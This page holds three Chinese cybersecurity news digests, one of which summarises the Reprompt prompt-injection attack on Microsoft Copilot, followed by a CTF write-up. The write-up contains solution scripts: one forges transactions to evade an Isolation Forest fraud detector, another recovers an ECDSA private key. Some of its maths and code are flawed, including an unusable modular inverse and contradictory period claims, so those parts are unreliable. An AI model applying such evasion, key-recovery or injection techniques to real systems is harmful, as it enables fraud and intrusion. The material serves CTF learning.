网络安全日报 2026年01月20日
1、GootLoader使用拼接ZIP压缩包绕过安全防护
https://securityaffairs.com/187037/cyber-crime/gootloader-uses-malformed-zip-files-to-bypass-security-controls.html GootLoader恶意软件通过拼接数百个ZIP文件生成畸形压缩包,以此绕过安全检测,作为初始访问工具为勒索软件团伙提供入口,占近年绕过检测恶意软件的11%。该恶意软件隶属2014年活跃至今的GootKit家族,由Mandiant追踪的UNC2565组织操控,采用访问即服务模式,可分发多款勒索软件及木马。2025年11月重现后,其已关联Vanilla Tempes
2、攻击者通过伪造杀毒软件安装包分发窃密载荷
https://securityonline.info/fake-malwarebytes-campaign-exploits-dll-sideloading-to-drop-infostealers/ 研究人员揭露一起伪装成Malwarebytes杀毒软件的攻击活动,该活动于2026年1月11日至15日活跃,攻击者通过伪造安装包分发窃密载荷。攻击借助恶意ZIP压缩包传播,文件名遵循特定格式。攻击者未直接使用恶意可执行文件,而是采用DLL劫持技术,将合法可执行文件与恶意CoreMessaging.dll捆绑,诱使系统加载恶意模块。恶意DLL含特殊元数据,压缩包中的文本文件还关联到多款软件的虚
3、StealC窃密木马控制面板遭研究人员劫持
https://www.cyberark.com/resources/threat-research-blog/uno-reverse-card-stealing-cookies-from-cookie-stealers 2023年起在暗网推广的StealC窃密木马,凭借规避检测及强效窃密能力走红,2025年4月推出2.0版本,新增Telegram机器人实时告警等功能,但其管理面板源码随后泄露。CyberArk研究人员借此发现面板存在XSS漏洞,利用该漏洞收集攻击者设备指纹、监控会话并窃取面板会话Cookie,为避免攻击者快速修复漏洞,未披露漏洞细节。研究聚焦名为“YouTubeTA”的攻击
4、黑客劫持伊朗国家电视台,播放反政权抗议信息
https://securityaffairs.com/187055/hacktivism/hacktivists-hijacked-iran-state-tv-to-broadcast-anti-regime-messages-and-reza-pahlavis-protest-appeal.html 反政权黑客入侵伊朗Badr卫星系统,劫持国家电视台播放流亡王储巴列维的抗议呼吁,持续10分钟。视频号召民众示威并争取军方支持,同时展示国际声援。伊朗网络随后再次受限。
5、微软联合多国瓦解RedVDS网络犯罪平台
https://www.bleepingcomputer.com/news/security/microsoft-seizes-servers-disrupts-massive-redvds-cybercrime-platform/ 微软宣布联合欧洲刑警组织、德国等多国机构,通过跨国行动瓦解大型网络犯罪虚拟桌面服务RedVDS,冻结其基础设施并关停交易平台。该平台自2019年起以犯罪即服务模式运营,月费低至24美元,向多个黑客团伙提供可操控虚拟Windows服务器,关联2025年3月以来美国境内至少4000万美元损失。其虚拟机均克隆自同一镜像,留下独特指纹便于追踪,服务器遍布多国以规避地域防
6、攻击者利用Visual Studio Code部署多阶段恶意软件
https://www.freebuf.com/articles/development/467238.html 攻击者正在将 Visual Studio Code 转变为攻击平台,利用其丰富的扩展生态系统将多阶段恶意软件植入开发者工作站。最新被发现的 Evelyn Stealer 攻击活动隐藏在恶意扩展中,通过多个精心设计的步骤部署隐蔽的信息窃取工具。
7、谷歌Fast Pair协议重大缺陷导致耳机可被劫持
https://www.freebuf.com/articles/endpoint/467249.html 您的高端蓝牙耳机可能正在监听比音乐更私密的内容。比利时鲁汶大学计算机安全与工业密码学研究小组最新报告披露,谷歌Fast Pair标准存在重大安全缺陷,导致数亿台旗舰音频设备面临劫持和跟踪风险。
8、Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器
https://www.freebuf.com/articles/web/467232.html Cloudflare Web应用防火墙(WAF)存在一个高危0Day漏洞,攻击者可借此绕过安全控制措施,通过证书验证路径直接访问受保护的主机服务器。FearsOff安全研究人员发现,针对_/.well-known/acme-challenge/目录的请求能够直达主机服务器,即使客户配置的WAF规则已明确拦截所有其他流量。
9、历时数十年的漏洞与新堆损坏问题,Linux系统关键glibc漏洞曝光
https://securityonline.info/decades-old-flaw-new-heap-corruption-critical-glibc-bugs-revealed/ GNU C库披露两个高危漏洞:CVE-2026-0861(8.4分)可导致堆损坏,影响glibc 2.30-2.42;CVE-2026-0915存在数十年,可能泄露堆栈信息。利用门槛较高,建议及时修补。
10、全球恶意广告劫持DNS漏洞,日均欺诈百万用户
https://securityonline.info/sitting-ducks-and-scammy-notifications-inside-a-global-malvertising-operation/ Infoblox揭露利用"坐以待毙"漏洞的全球欺诈推送网络,通过劫持废弃域名收集5700万条日志,显示低效但广泛的欺诈广告运营,主要针对南亚用户。研究警示DNS管理漏洞助长黑产,呼吁加强域名清理责任。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月19日
1、黑客采取多阶段攻击部署Remcos远控木马
https://securityonline.info/shadowreactor-malware-builds-remcos-rat-via-text-files/ 研究人员发现新型复杂恶意软件框架SHADOW#REACTOR,其以多阶段攻击部署臭名昭著的Remcos RAT,采用无文件技术几乎不在受害者硬盘留下痕迹,成功绕过企业防御。该框架核心规避手段为使用“纯文本中间件”,通过混淆VBS脚本启动器调用PowerShell下载器,获取含有效载荷碎片的普通文本文件,而非易被检测的恶意二进制文件。碎片在内存中重组编码后,经.NET Reactor保护组件解码,最终借助MSBuild.exe等
2、韩国教元集团遭勒索软件攻击可能泄露客户数据
https://securityaffairs.com/186964/data-breach/a-ransomware-attack-disrupted-operations-at-south-korean-conglomerate-kyowon.html 韩国大型综合企业教元集团(Kyowon)确认遭遇勒索软件攻击,导致业务运营中断,客户数据疑似泄露。该集团业务涵盖教育、出版、媒体、科技等多个领域,旗下多家核心子公司均受影响。攻击于2026年1月10日早间被发现,教元集团立即启动应急响应隔离受影响服务器,并向韩国互联网与安全局(KISA)及相关部门报备,联合外部网络安全专家排查攻击原因与损
3、黑客利用Modular DS漏洞获取管理员访问权限
https://www.bleepingcomputer.com/news/security/hackers-exploit-modular-ds-wordpress-plugin-flaw-for-admin-access/ 黑客正活跃利用WordPress插件Modular DS的最高危漏洞(CVE-2026-23550),远程绕过身份验证并获取目标网站管理员权限。该漏洞影响2.5.1及以下版本,这款插件可通过单一界面管理多个WordPress站点,拥有超4万次安装量,功能涵盖远程监控、用户管理、服务器信息访问等。Patchstack研究人员发现,攻击于2026年1月13日凌晨2时(UT
4、法国电信企业因安全防护不足致2400万用户数据泄露
https://www.theregister.com/2026/01/14/france_fines_free_free_mobile/ 法国数据保护监管机构CNIL对 Iliad集团旗下两家电信公司Free(固网业务)与Free Mobile(移动业务)处以总计4200万欧元(约合4890万美元)罚款,起因是2024年10月的数据泄露事件违反GDPR规定,波及超2400万用户,含IBAN等财务信息。攻击始于2024年9月28日,攻击者通过VPN入侵Free网络,借助Free Mobile的MOBO用户管理工具窃取数据,10月6日开始泄露数据,两家公司共2463万余份合约信息受影响。企业1
5、黑客利用PayPal合法发票系统实施钓鱼攻击
https://hackread.com/paypal-scam-verified-invoices-fake-support-numbers/ 一种新型钓鱼诈骗正利用PayPal合法发票系统实施攻击,凭借邮件蓝色认证标记(BIMI标识)绕过安全过滤,连技术熟手也可能受骗。攻击者先在PayPal创建虚假商家账户,借助平台“收款请求”或“发票”功能发送邮件,因由PayPal官方发送,可通过SPF、DKIM、DMARC全项认证,成功获得收件箱蓝色对勾,甚至绕过Google Workspace安全过滤。诈骗陷阱暗藏在发票“客户备注”栏,而非恶意链接,会伪造扣款信息并附上虚假客服电话诱导回拨。攻击者
6、Reprompt攻击可绕过防护窃取Microsoft Copilot数据
https://www.malwarebytes.com/blog/news/2026/01/reprompt-attack-lets-attackers-steal-data-from-microsoft-copilot 研究人员发现Reprompt攻击方法,可绕过Microsoft Copilot内置安全机制窃取数据,该漏洞已在2026年1月周二补丁更新中修复,目前无在野利用证据。该攻击滥用Copilot对URL参数的处理逻辑,在q参数中隐藏恶意提示,用户点击钓鱼链接后,Copilot会自动执行提示,劫持已认证的个人会话。其区别于同类注入攻击的优势是,无需用户输入提示、安装插件或启用连接
7、研究人员阻断550余台C2服务器瓦解AISURU及Kimwolf僵尸网络
https://securityaffairs.com/186918/cyber-crime/lumen-disrupts-aisuru-and-kimwolf-botnet-by-blocking-over-550-c2-servers.html Lumen公司黑莲花实验室通过阻断550余台命令与控制(C2)服务器,成功瓦解了用于DDoS攻击和代理滥用的AISURU及Kimwolf僵尸网络。AISURU属TurboMirai家族,提供付费DDoS服务,攻击速率超1.5Tb/秒,还具备凭证填充、AI爬虫等多类非法功能,其攻击曾致宽带服务中断及路由器故障。Kimwolf是关联AISURU的新型
8、deVixor安卓木马针对银行和加密货币用户发起攻击
https://securityonline.info/spy-steal-lock-devixor-android-trojan-hits-banking-crypto-users/ 研究人员发布分析报告,揭露deVixor安卓银行木马的恶性攻击行为,该木马自2025年10月起持续针对伊朗用户发起攻击,已从简单短信窃取工具进化为全功能远程控制木马(RAT)。攻击者通过伪装成正规汽车业务的钓鱼网站,诱骗用户下载恶意APK文件。木马安装后会申请多项高危权限,窃取短信中的验证码、银行卡号等金融信息,还借助WebView注入技术劫持银行会话、通过键盘记录和截图等功能监控设备,更搭载远程触发勒索模块
9、GhostPoster浏览器恶意软件累计安装量达84万次
https://hackread.com/ghostposter-browser-malware-840000-installs/ 研究人员揭露一起持续5年的恶意软件攻击事件,GhostPoster浏览器恶意软件通过多浏览器扩展传播,凭借隐蔽技术长期未被发现,累计安装量超84万次。该恶意软件最初现身于微软Edge浏览器,后扩散至Chrome和Firefox,通过将恶意载荷隐藏在PNG图片中解码执行,规避静态分析与人工审核。Koi Security披露相关发现后,LayerX追踪到17款采用相同架构的关联扩展,部分扩展在用户设备中潜伏近5年。此外,还有一高级变种通过更多规避技术传播,虽仅382
10、WhisperPair高危漏洞可劫持蓝牙音频设备
https://www.bleepingcomputer.com/news/security/critical-whisperpair-flaw-lets-hackers-track-eavesdrop-via-bluetooth-audio-devices/ 研究人员发现谷歌Fast Pair协议存在高危漏洞WhisperPair(CVE-2025-36911),可让黑客劫持蓝牙音频设备,实施追踪与窃听,影响数亿台支持该功能的耳机、音箱等设备,跨iOS与安卓系统。漏洞因厂商未严格执行协议规范,设备非配对模式下仍响应配对请求,黑客可通过蓝牙设备在14米内秒级强制配对,无需用户操作。配对后可控
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月16日
1、Apache Struts 2曝高危漏洞攻击者可窃取敏感数据
https://www.freebuf.com/articles/web/466539.html 已在 Apache Struts 2 中发现一个关键的 XML 外部实体(XXE)注入漏洞,该漏洞可能使数百万应用程序面临数据窃取和服务器被入侵的风险。 该漏洞被追踪为 CVE-2025-68493,影响该广泛使用的框架的多个版本,需要开发者和系统管理员立即采取行动。
2、欧洲铁路运营商Eurail确认发生数据泄露
https://www.theregister.com/2026/01/14/eurail_breach/ 欧洲铁路运营商Eurail(欧盟居民称Interrail)确认发生数据泄露,客户信息遭窃取。该公司于2026年1月10日首次公布此事,1月13日起向受影响客户推送通知邮件,暂未披露受影响人数。泄露数据含姓名、出生日期、联系方式、护照号码等核心身份信息,直接购票客户无护照可视化副本泄露,但通过欧盟DiscoverEU项目获取车票的用户,还可能泄露身份证复印件、银行账户参考号及健康数据。欧盟委员会指出目前无数据滥用或公开披露证据,Eurail已加固系统、修复漏洞并重置凭证,且已按GDPR要
3、俄APT组织利用PLUGGYAPE恶意软件攻击乌国防部队
https://www.freebuf.com/news/466535.html 乌克兰计算机应急响应小组(CERT-UA)近日披露,乌克兰国防部队遭受新型网络攻击,攻击者使用PLUGGYAPE恶意软件。政府专家以中等可信度将该攻击归因于俄罗斯关联组织Void Blizzard(又名Laundry Bear、UAC-0190),该组织自2024年起持续活跃。
4、Ruckus IoT控制器因硬编码密钥泄露面临系统被接管
https://www.anquanke.com/post/id/314315 一对高危安全漏洞在 Ruckus vRIoT IoT Controller 中被披露,该设备是企业 IoT 设备管理的核心中枢。两个漏洞的 CVSS 评分均为满分 10.0,意味着它们不仅易于利用,而且可能导致系统被完全接管。
5、研华设备存在 SQL 注入可导致 IoT设备被完全攻陷
https://www.anquanke.com/post/id/314324 新加坡网络安全局(CSA)已就研华(Advantech)IoT 产品线中一个极具破坏性的漏洞发布高优先级警报。该漏洞编号为 CVE-2025-52694,CVSS 评分高达 10.0(满分),表明其属于需要管理员立即处理的严重威胁。
6、Moxa交换机存在OpenSSH远程代码执行漏洞
https://www.anquanke.com/post/id/314327 Moxa 的工业以太网交换机中被发现存在一个严重安全漏洞,可能威胁工业控制系统(OT)网络的完整性。该漏洞编号为 CVE-2023-38408,CVSS 评分高达 9.8(高危),意味着需要立即修复。
7、zlib高危漏洞引发全球性缓冲区溢出风险
https://www.anquanke.com/post/id/314276 一款被 “几乎所有计算机硬件和操作系统” 采用的无损数据压缩引擎 zlib,被曝出一个高危漏洞。该漏洞编号为CVE-2026-22184,属于全球性缓冲区溢出漏洞,其通用漏洞评分系统(CVSS)分值高达9.3,对所有依赖该函数库中untgz工具的系统构成重大威胁。
8、印度以应对网络威胁为由要求审查苹果、三星等智能手机源代码
https://www.anquanke.com/post/id/314272 在国家安全诉求与企业保密权的拉锯战日益升级之际,印度最新提出的获取智能手机源代码的要求,在科技巨头间引发轩然大波。这项于近日公布的提案,强制要求苹果、三星等企业向政府实验室提交专有源代码以供审查,表面上是为了在这个全球最大的数字市场之一打击日益猖獗的网络威胁。但长期以来坚守用户隐私立场的苹果公司,此次却坚决抵制,这一表态或将重塑全球企业在新兴经济体应对监管压力的策略。
9、波兰全国可再生能源设施遭遇大规模网络攻击
https://www.secrss.com/articles/87065 波兰政府日前表示,成功挫败了近年来针对该国能源基础设施最严重的一次网络攻击,从而避免了一场大规模停电。据波兰能源部长Miłosz Motyka称,此次未遂破坏发生在去年12月末,黑客针对全国大范围内的可再生能源设施,包括太阳能电站和风力发电机,与电力配电运营商之间的通信发动了攻击。
10、《交通运输数据安全管理办法》公开征求意见
https://www.secrss.com/articles/87033 为贯彻落实《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》《网络数据安全管理条例》等法律法规要求,规范交通运输数据处理活动,保障交通运输数据安全,交通运输部起草了《交通运输数据安全管理办法(征求意见稿)》,现面向社会公开征求意见。公众可通过以下途径和方式提出意见:
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
记2025长城杯线上赛部分题目
0.前言
小比赛随便打,国赛教我做人....
1.AI安全
1.1The Silent Heist
题目内容:
目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。
我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录
那基本上就能看出本题模拟了一个典型的对抗性机器学习场景。目标是骗过一个已经上线的异常检测系统
目标系统是基于孤立森林的实时风控引擎,输入数据是20 维浮点数特征
金额目标:
孤立森林不同于传统的分类算法(如 SVM 或神经网络),它属于无监督学习
核心逻辑就是算法随机选择特征并随机选择切分点,构建二叉树
且异常点往往具有“少”且“异”的特点,在空间中,它们远离高密度区域
路径长度异常点和正常点也是不一样的,
异常点:只需要很少次数的随机切分就能被孤立出来,也就是处于树的浅层,路径短
正常点:位于数据簇的中心,需要密集的切分才能被隔绝,也就是说处于树的深层,路径长
判定公式:模型通过样本在多棵树中的平均路径长度计算异常评分。路径越长,评分越低,数据越正常
既然孤立森林难以孤立处于数据中心的点,那么我们的策略就是:制造大量极其平庸的数据
比如说,我们通过对截获的 1000 条日志进行统计:
计算每一列的平均值,计算每一列的标准差
只要生成的数据点无限趋近于各维度的均值 ,它们就会落在孤立森林最难切分的深处,逃过检测
由题目给的附件已知 feat_0的均值 μ0≈353
那么计算所需条数:2,000,000/353≈5,6662,000,000/353≈5,666条
也就是说,我们只要生成 6,000 条数据。这不仅能稳过 2M 金额线,还能通过大量的微小数据分摊风险,避免单笔大额交易触发阈值告警
但是如果 6000 条数据完全一样,会被去重算法拦截
所以应该在均值 μ的基础上,注入一个尺度极小的高斯白噪声
公式:
这里 ϵ(扰动系数)设为 0.01左右,这保证了:
每行数据在二进制层面都是唯一的
在统计学层面,数据分布依然极度向中心靠拢
所以exp.py
import socket
import numpy as np
import pandas as pd
import io
# 1. 题目提供的部分日志数据(基于你提供的片段进行统计建模)
# 在实际环境中,如果能下载完整csv,分析结果会更精确。
def generate_payload():
# 统计特征 (均值 mu 和 标准差 sigma)
# 基于样本计算的近似值
means = np.array([
353.45, 27.56, 93.67, 82.78, 45.12, 4.23, 13.45, 51.67, 11.23, 30.56,
39.12, 84.78, 10.34, 82.12, 73.67, 18.89, 30.56, 41.89, 13.12, 27.56
])
stds = np.array([
25.0, 2.5, 3.0, 3.0, 2.0, 2.5, 2.5, 2.0, 2.5, 3.0,
3.0, 3.0, 2.5, 3.0, 3.0, 3.0, 3.0, 3.0, 3.0, 2.5
])
# 设定生成 6000 条记录以确保总金额 > 2,000,000
num_samples = 6000
print(f"[*] 正在生成 {num_samples} 条伪造交易记录...")
# 生成数据:均值 + 极小的随机扰动 (0.01倍标准差)
# 这样可以确保数据唯一(躲避去重检测)且极度接近中心(躲避异常检测)
generated_data = []
for _ in range(num_samples):
noise = np.random.normal(0, 0.01, size=20) * stds
row = means + noise
generated_data.append(row)
# 转换为 CSV 格式
df = pd.DataFrame(generated_data)
df.columns = [f'feat_{i}' for i in range(20)]
csv_buffer = io.StringIO()
df.to_csv(csv_buffer, index=False, float_format='%.6f')
payload = csv_buffer.getvalue()
return payload
def pwn_bank():
host = '182.92.11.65'
port = 30799
payload = generate_payload()
try:
# 2. 建立连接
print(f"[*] 正在连接到 {host}:{port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收服务器欢迎语
# s.recv(1024)
# 3. 发送数据
print("[*] 正在传输数据流并注入金额...")
s.sendall(payload.encode())
# 4. 发送结束标志
s.sendall(b"EOF\n")
# 5. 接收返回结果(Flag通常在这里)
print("[*] 等待银行系统响应...")
response = b""
while True:
data = s.recv(4096)
if not data:
break
response += data
# 如果收到 flag 格式,提前停止打印(假设格式为 flag{...})
if b"flag" in response.lower():
break
print("\n[+] 服务器响应结果:")
print(response.decode(errors='ignore'))
s.close()
except Exception as e:
print(f"[-] 错误: {e}")
if __name__ == "__main__":
pwn_bank()
2.Cry
2.1 ECDSA
题目给了三个东西
task.py:生成密钥和签名的程序
signatures.txt:使用弱私钥生成的 60 个签名样本
public.pem:与私钥对应的公钥
看它task.py的代码就知道这个私钥生成有问题
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
# 计算固定字符串的SHA512哈希
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
# 获取曲线阶数
curve_order = NIST521p.order
# 对曲线阶数取模得到私钥
priv_int = digest_int % curve_order
# 转换为字节格式
priv_bytes = long_to_bytes(priv_int, 66)
# 创建私钥对象
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
首先它私钥种子固定不变
私钥的生成依赖于固定字符串 "Welcome to this challenge!",这个字符串在代码中硬编码,任何人都可以访问源代码并计算出完全相同的私钥
接着算法也有问题,仅使用 SHA512 哈希运算就生成私钥,哈希函数是确定性的,给定相同输入必然产生相同输出
所以,种子字符串是公开的,计算过程是确定性的,无需任何额外信息即可恢复私钥
from ecdsa import SigningKey, NIST521p, VerifyingKey
from hashlib import sha512
from Crypto.Util.number import long_to_bytes, bytes_to_long
import binascii
def recover_private_key():
"""
通过计算固定字符串的SHA512哈希值恢复私钥
"""
message = b"Welcome to this challenge!"
digest = sha512(message).digest()
digest_int = int.from_bytes(digest, "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
return sk
def generate_nonce(index):
"""
生成指定索引的nonce值
"""
seed = sha512(b"bias" + bytes([index])).digest()
k = int.from_bytes(seed, "big")
return k
def load_public_key(pem_file="public.pem"):
"""
从PEM文件加载公钥
"""
with open(pem_file, "rb") as f:
pem_data = f.read()
vk = VerifyingKey.from_pem(pem_data)
return vk
def extract_rs_from_der(sig_bytes):
"""
从DER编码的签名中提取r和s值
"""
if len(sig_bytes) < 8:
return None, None
pos = 0
if sig_bytes[pos] != 0x30:
return None, None
pos += 1
length_bytes = sig_bytes[pos]
pos += 1
if sig_bytes[pos] != 0x02:
return None, None
pos += 1
r_length = sig_bytes[pos]
pos += 1
r_value = sig_bytes[pos:pos + r_length]
pos += r_length
if sig_bytes[pos] != 0x02:
return None, None
pos += 1
s_length = sig_bytes[pos]
pos += 1
s_value = sig_bytes[pos:pos + s_length]
r_int = bytes_to_long(r_value)
s_int = bytes_to_long(s_value)
return r_int, s_int
def verify_signature_ecdsa(vk, message, signature):
"""
使用公钥验证签名
"""
try:
return vk.verify(signature, message)
except:
return manual_verify(vk, message, signature)
def manual_verify(vk, message, signature):
"""
手动验证ECDSA签名
"""
try:
r, s = extract_rs_from_der(signature)
if r is None or s is None:
return False
msg_hash = sha512(message).digest()
msg_hash_int = bytes_to_long(msg_hash)
point = vk.pubkey.point
curve_order = NIST521p.order
# 计算 w = s^(-1) mod n
def modinv(a, m):
if a < 0:
a = a % m
for i in range(1, m):
if (a * i) % m == 1:
return i
return 1
w = modinv(s, curve_order)
u1 = (msg_hash_int * w) % curve_order
u2 = (r * w) % curve_order
G = NIST521p.generator
point1 = G * u1
point2 = point * u2
result_point = point1 + point2
return (result_point.x() % curve_order) == r
except:
return False
def sign_message_with_nonce(sk, message, nonce_index):
"""
使用指定索引的nonce签名消息
"""
k = generate_nonce(nonce_index)
signature = sk.sign(message, k=k)
return signature
def main():
print("=" * 70)
print("ECDSA 私钥恢复和签名工具")
print("=" * 70)
# 1. 恢复私钥
print("\n[1] 恢复私钥...")
sk = recover_private_key()
print(f"[✓] 私钥已恢复")
print(f" 私钥值: {sk.privkey.secret_multiplier}")
print(f" 私钥字节: {binascii.hexlify(sk.to_string()).decode()}")
# 2. 加载公钥
print("\n[2] 加载公钥...")
vk = load_public_key()
print("[✓] 公钥已加载")
# 3. 验证私钥正确性
print("\n[3] 验证私钥...")
# 使用一个已有的签名验证
with open("signatures.txt", "r") as f:
first_line = f.readline().strip()
msg_hex, sig_hex = first_line.split(":")
test_msg = bytes.fromhex(msg_hex)
test_sig = bytes.fromhex(sig_hex)
if verify_signature_ecdsa(vk, test_msg, test_sig):
print("[✓] 私钥验证成功!恢复的私钥与公钥匹配")
else:
print("[✗] 私钥验证失败")
return
# 4. 尝试签名获取flag
print("\n[4] 尝试生成签名...")
# 尝试使用不同的nonce索引
flag_messages = [
b"flag",
b"getflag",
b"submit flag",
b"give me the flag",
b"CTF{",
]
for msg in flag_messages:
print(f"\n 尝试签名消息: {msg}")
# 尝试使用不同的nonce索引 (0-59)
for i in range(60):
try:
sig = sign_message_with_nonce(sk, msg, i)
# 验证签名
if verify_signature_ecdsa(vk, msg, sig):
print(f"[✓] 成功!")
print(f" Nonce索引: {i}")
print(f" 签名: {binascii.hexlify(sig).decode()}")
# 保存签名到文件
with open("flag_signature.txt", "w") as f:
f.write(f"Message: {msg.decode()}\n")
f.write(f"Nonce Index: {i}\n")
f.write(f"Signature: {binascii.hexlify(sig).decode()}\n")
print(f"\n[+] 签名已保存到 flag_signature.txt")
# 5. 展示如何使用
print("\n" + "=" * 70)
print("解题步骤:")
print("=" * 70)
print(f"""
1. 私钥已成功恢复
私钥值: {sk.privkey.secret_multiplier}
2. 使用恢复的私钥,可以:
- 验证任何使用该密钥签名的消息
- 为新消息生成有效签名
- 在CTF服务器上提交签名获取flag
3. 生成的签名:
消息: {msg.decode()}
签名: {binascii.hexlify(sig).decode()}
4. 将此签名提交给题目服务器即可获取flag
""")
return
except Exception as e:
continue
print(f" [-] 使用所有nonce索引签名失败")
print("\n[!] 尝试其他方法...")
# 如果上面的方法失败,输出更多信息
print("\n[5] 输出私钥信息供手动使用...")
print(f"\n私钥值 (十进制):")
print(sk.privkey.secret_multiplier)
print(f"\n私钥值 (十六进制):")
print(binascii.hexlify(sk.to_string()).decode())
if __name__ == "__main__":
main()
2.2 Ezflag
先ida进行一个逆向找到main函数
只有当输入的密码完全等于 V3ryStr0ngp@ssw0rd 时,程序才会进入 else 分支生成 Flag
std::operator<<<std::char_traits<char>>(&_bss_start, "flag{");
v11 = 1LL; // 初始状态设为 1
程序先打印 flag{,v11 被初始化为 1
for ( i = 0; i <= 31; ++i ) {
v9 = f(v11); // 调用关键函数 f,基于当前状态 v11 计算出一个字符
std::operator<<<...>((unsigned int)v9); // 打印该字符
// 格式化控制:插入连字符
if ( i == 7 || i == 12 || i == 17 || i == 22 ) {
std::operator<<<...("-");
}
// 状态更新公式 (核心数学逻辑)
v11 *= 8LL;
v11 += i + 64;
// 延时处理
v8 = 1;
std::this_thread::sleep_for(...); // 每秒打印一个字符,增加仪式感
}
程序运行一个 for 循环,从 i = 0 到 31,总共生成 32 个字符
而我们也可以推导一下v11的状态
初始值:v11_0 = 1
第一次迭代后:v11_1 = 1 * 8 + (0 + 64) = 72
第二次迭代后:v11_2 = 72 * 8 + (1 + 64) = 649
第三次迭代后:v11_3 = 649 * 8 + (2 + 64) = 5256
通过数学归纳法,可以得出v11的通项公式:
v11_k = 8^k * 1 + Σ(i=0到k-1) (i + 64) * 8^(k-1-i)
归纳化简之后就是
v11_k = 8^k + Σ(j=0到k-1) (64 + j) * 8^(k-1-j)
其中j = k-1-i,这个公式展示了v11的指数级增长特性。随着k的增大,v11的值会变得极其庞大:
k = 8时:v11_8 ≈ 2.68 × 10^8
k = 16时:v11_16 ≈ 7.2 × 10^16
k = 32时:v11_32 ≈ 2.81 × 10^29
这种指数级增长意味着v11的范围从1变化到约2^97
f函数
__int64 f(unsigned __int64 n) {
v5 = 0; v4 = 1;
for (i = 0; i < n; ++i) {
v2 = v4;
v4 = (v5 + v4) & 0xF; // mod 16
v5 = v2; }
return K[v5];
}
这明显就是斐波那契数列取模运算
函数f的输入是v11 mod 16的值,记为n,函数f计算斐波那契数列的第n项F(n),然后对16取模,最后查表返回K[F(n) mod 16]
通过计算,前8个斐波那契数列值及其模16结果:
F(0) = 0 → 0 mod 16 = 0
F(1) = 1 → 1 mod 16 = 1
F(2) = 1 → 1 mod 16 = 1
F(3) = 2 → 2 mod 16 = 2
F(4) = 3 → 3 mod 16 = 3
F(5) = 5 → 5 mod 16 = 5
F(6) = 8 → 8 mod 16 = 8
F(7) = 13 → 13 mod 16 = 13
F(8) = 21 → 21 mod 16 = 5
对于n=9及更大的值,斐波那契数列的模16结果呈现周期性,周期为24 这是因为斐波那契数列模m的周期,在m=16时为24
将v11 mod 16的周期规律与f函数的映射结合,得到最终的字符序列:
根据14周期规律,v11 mod 16的序列为[8, 1, 2, 3, 4, 9, 6, 7, 8, 1, 2, 3, 4, 9, 6, 7, 8, 1, 2, 3, 4, 9, 6, 7, 8, 1, 2, 3, 4, 9, 6, 7]
将每个值输入f函数:
f(8) → K[5]
f(1) → K[1]
f(2) → K[1]
f(3) → K[2]
f(4) → K[3]
f(9) → K[2]
f(6) → K[8]
f(7) → K[13]
以此类推,应用完整的14周期规律
全局字符表 K = "012ab9c3478d56ef"
def get_period():
v5 = 0
v4 = 1
seq = [0]
# Pisano period for 16 is 24.
for _ in range(100):
v2 = v4
v4 = (v5 + v4) & 0xF
v5 = v2
seq.append(v5)
return 24, seq
def solve():
period, sequence = get_period()
K = "012ab9c3478d56ef"
v11 = 1
flag = ""
print("flag{", end="")
for i in range(32):
# f(v11) returns K[sequence[v11 % period]]
idx = sequence[v11 % period]
c = K[idx]
print(c, end="")
flag += c
if i in [7, 12, 17, 22]:
print("-", end="")
flag += "-"
v11 = v11 * 8 + i + 64
v11 &= 0xFFFFFFFFFFFFFFFF # Mask to 64 bits to simulate overflow
print("}")
if __name__ == "__main__":
solve()
2.3 RSA_NestingDoll
本题的get_smooth_prime 函数是漏洞存在的地方
在 get_smooth_prime(1024, 20, p1) 中,生成素数 p的逻辑本质上是
整理一下就会发现p−1=p1×K
其中 K是由一堆 20 位的小素数构成的
普通 RSA:p−1 是随机的,包含大的随机质因子,且这些因子完全不知道
本题 RSA:p−1虽然也包含一个巨大的质因子 p1,但这个 p1 恰好是已知量 n1 的一个因子
所以:n1就是打开 p−1的钥匙,因为 n1=p1⋅q1⋅r1⋅s1,所以 n1 必然是 p1 的倍数。既然 p−1包含 p1,那么 p−1
的绝大部分因子都已经躺在 n1里面了
import math
from Crypto.Util.number import *
from tqdm import tqdm
# --- 题目数据 ---
n1 = 1614122982258299994179552843405360402413083437674338041754384815451056794142628450397484350850529363285894467690477771916721126422501787954487976646190542176491114511531369852914811855648156966242794312990624666939228546596200976041539827786123540114447372842192430018281851945186366854327996477
n = 48483112410827593934136681050619399453155005569585325329811553810162933764484884834147941943803223233900323690607186400536605018509695571248482424922819757722324835364036607874736009008444636127503202678124685470007489671197648769478385687840324731231248719724327233051886134698147035339414978508
c = 65798492122994245493393340344772900630665760771032686430122645514374329842420317323148525410637004248279792166765670015590432977238382073645885576513679324331667121286942639795468478486172137509851256963396108381531291812303277470011006908126224292198586479632896942352782113928131036998197274386
e = 65537
# 你之前找到的那个因子,我们可以直接用,减少工作量
